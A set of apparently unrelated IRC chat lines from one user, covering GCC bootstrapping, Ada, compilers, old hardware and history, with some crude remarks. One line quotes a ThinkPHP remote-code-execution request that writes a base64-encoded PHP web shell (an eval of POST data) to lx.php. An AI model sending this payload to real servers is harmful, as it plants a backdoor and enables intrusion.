asciilifeform: and 99+% of pc bought to run spreadshit & 'hearts', no less

asciilifeform: danielpbarron: you ( & customers... ) may find it interesting, that even tho fg was not specifically built for radiation-hardness, the star of the http://www.loper-os.org/?cat=55 vivisections still runs to spec

asciilifeform: dome, reactor, & all.

asciilifeform: under it , marshall chuikov & other folx who helped to fill the hill with dead jerries, buried.

asciilifeform: mircea_popescu: fella & his worx certainly excellent demonstration of 'what happens to 'technically competent' without http://btcbase.org/log/2019-02-20#1898175 ' imho ☝︎

asciilifeform: right here, there's that airfield, and the enthusiasts (all, near as i can tell, in their 60s/70s) erry weekend dig in the engine, oil rag & all

asciilifeform: i dun think rms & co were ever 'this tall'. relied just about from day 1 on 'reasonable' cooperation with enemy, to have any money at all.

asciilifeform: ( i.e. coupla-km column of trucks fulla ak & ammo ) ☟︎

asciilifeform: via bvt's link : '...versions of GCC prior to 4.8 also allow bootstrapping with a ISO C89 compiler and versions of GCC prior to 3.4 also allow bootstrapping with a traditional (K&R) C compiler...'

asciilifeform: it resembles that story with rms & lmi

asciilifeform: ( glibc & co. do not handle devices, impose memory organization scheme , etc )

asciilifeform: nao tbf, this approach was not available to the gnu people, on acct of sheer poverty of 1980s, when erry byte & cycle counted, and 'must not waste' , yer entire memory space in 1985 might be 256kB. but today plenty of 'what to waste', why not 'waste' for actual gain ( like bitcoin 'wasted' mains current ) , rather than microshit/gnu-style.

asciilifeform: yer still stuck with certain idjicies of iron (e.g. dma) but then when finally bake new iron, you have a ready compiler & userland to plant on it, that actually behaves.

asciilifeform: ( he saw the notion as 'making life too easy' for nvidia & other blob pushers )

asciilifeform: ^ for bonus lulz, it wasn't the 'iso std d&d fireball' but the http://trilema.com/2014/the-all-american-asshole-in-his-own-words-with-my-own-notes/#selection-1021.79-1025.1 thing, from what i gather was a 'mortal combat' clone of some type

asciilifeform: looking in the log, iirc diana_coman had same issue, & cured

asciilifeform: http://btcbase.org/log/2019-02-17#1897404 << before this gets lost in the chaos of gcc vivisections -- spyked , would be interesting to pry apart the zips & deduplicate , see what the actual text mass adds up to ☝︎☟︎

asciilifeform: ( for n00bz: ) writing a compiler back-end aint actually hard. asciilifeform & many many other folx, did it ~as homework~ , at school. the hard thing is writing a ~decent~ optimizing backend. ☟︎

asciilifeform: ( locking bugs & all )

asciilifeform: ( e.g. asciilifeform was quite surprised when found that trb and ALL deps built cleanly & functioned on static musl ) ☟︎

asciilifeform: mircea_popescu: c linking is simply automated cut&paste.

asciilifeform: originally cuz iron & os babel.

asciilifeform still not fully made sense of franco -- d00d was 'fuhrer' by sheer accident, after mola's plane crash , and possibly only won war cuz other side resembled gavin & co, 9000 rando 'hasta y per siempre' derpfactions

asciilifeform: i.e. when introduced reorderism & pipes.

asciilifeform: that was a uniquely sovok phenomenon tho -- these folx were so poor that they could not afford konsoomer & mil separate lines

asciilifeform: ( general case not new, e.g. martin & mitchell in 1960 to su )

asciilifeform: ( so as to get actual ticktimes for this & other empiricals )

asciilifeform: ( fwiw i (and other ru warez folk) like ancient at&t 'djvu' format, it is moar or less jpeg with optional ocr searchable track. a 300MB pdf turd becomes a 2-3MB djvu. )

asciilifeform: ( burns & wellings, '07 )

asciilifeform: diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below :

asciilifeform: ( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason )

asciilifeform: s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy

asciilifeform: -- at least iirc, can't seem to dig up the pertinent chapter & verse just nao

asciilifeform: http://btcbase.org/log/2019-02-09#1894579 << i had a half-baked effort to read & genesis 'ratpoison' -- but currently nfi if anyone aside from asciilifeform uses or even wants to use it. ☝︎

asciilifeform: diana_coman: 1 immediate q : why do the worker jobs have to be terminated & rebirthed ( rather than having N , 1 per cpu, and 4evah infinite loop of plucking work from queue & placing in finishedworx queue when done ) ?

asciilifeform: hm i thought it was 'gargauni & barzauni'

asciilifeform: arguably both asciilifeform & brother had 'too much screen' , given as both grew to program for bread, life of sin.

asciilifeform: we're gonna fill that order, BingoBoingo , so customer licks lips & asks for seconds!111, ideally.

asciilifeform: mircea_popescu: if you find that you wanna experiment with the x60, you will like that the radio nic comes out without hacksaws & drills ( 1 screw ) .

asciilifeform: mircea_popescu: if you do, get the x60 ( asciilifeform , phf, using w/ patched bios & old gentoo )

asciilifeform: diana_coman: lol, didnt mircea_popescu once mention that he did landau & fr in 1 shot

asciilifeform: BingoBoingo: i'ma get to it at some pt. currently hands full with 1) ffa 16b & 17 2) looking into to whom we gotta http://btcbase.org/log/2019-02-03#1892227 3) speccing components for 2nd rk plant ☝︎

asciilifeform: iirc g_l & his leg etc

asciilifeform: so, what's the implication, why do we even need working tech, why not sit around and smell own farts like aristotle & co ?

asciilifeform: mircea_popescu: usually i give'em a link to the log, where can read this & other likbez at leisure.

asciilifeform: a student who reads & understood the thing, oughta be able to 'compile' with bare hands, using nothing but hex editor, for any iron he is given.

asciilifeform: 1980s usa; they built machine (and using vertical integration of own tooling, for not only os dev but pcb & ic cad etc) precisely for this.

asciilifeform: verisimilitude: ideally would have this for entire stack, transistor & up.

asciilifeform: trinque: iirc finding & killing whatever piece in gcc outputs variant turd and makes bins unreproducible is on ave1's conveyor

asciilifeform: verisimilitude: you will find that the ada used by asciilifeform , diana_coman , et al, is quite distinct flavour from what you see in barnes & in various corners of the net where published ada proggies (not so many) are found

asciilifeform: verisimilitude: incidentally diana_coman ( http://ossasepia.com/ ) has quite large set of published ada ( & articles re same ), i highly recommend to read.

asciilifeform: !!rate verisimilitude 1 commonlisp & cpu design fella, http://verisimilitudes.net , loper-os reader .

asciilifeform: trinque: loper-os reader & chronic lurker, seems ready to get in wot

asciilifeform: i dun imagine the colibri & ocelots changed much since then

asciilifeform also has a ~decade-long on&off proj to reverse the thing properly. but not much movement on that front since tuning into tmsr.

asciilifeform: ( ftr nuffin asciilifeform wrote in that period is imho worth the electrons. the only own item i even bothered pickling & preserving from that time, is http://www.loper-os.org/vintage/parallelsid/parasid.html )

asciilifeform: ( and it aint as if 'simply aint done', saud princes routinely get on airplane & fuck heathens )

asciilifeform: & ty grenadiers.

asciilifeform in the guts of 16b but tuned in & following cuntoo scent

asciilifeform: let's have it for thread-compleetness ( i'll even revv up a box with sound & watch )

asciilifeform: if you ever end up putting it on a cray, you change the constant knob & rebuild, is all

asciilifeform: mircea_popescu: seems to me to be open&shut case, you picka max so you dun have to heapism it

asciilifeform: the only 1 i had in mind in thrd was 'civilizations build up & then collapse', which is closest thing i know of to 'models of society' with any support whatsoever

asciilifeform: mircea_popescu: the real bitch is that one is stuck doing old-fashioned b&w chemistry for each shot ( there are digital sensors, but they cost like toyota.. )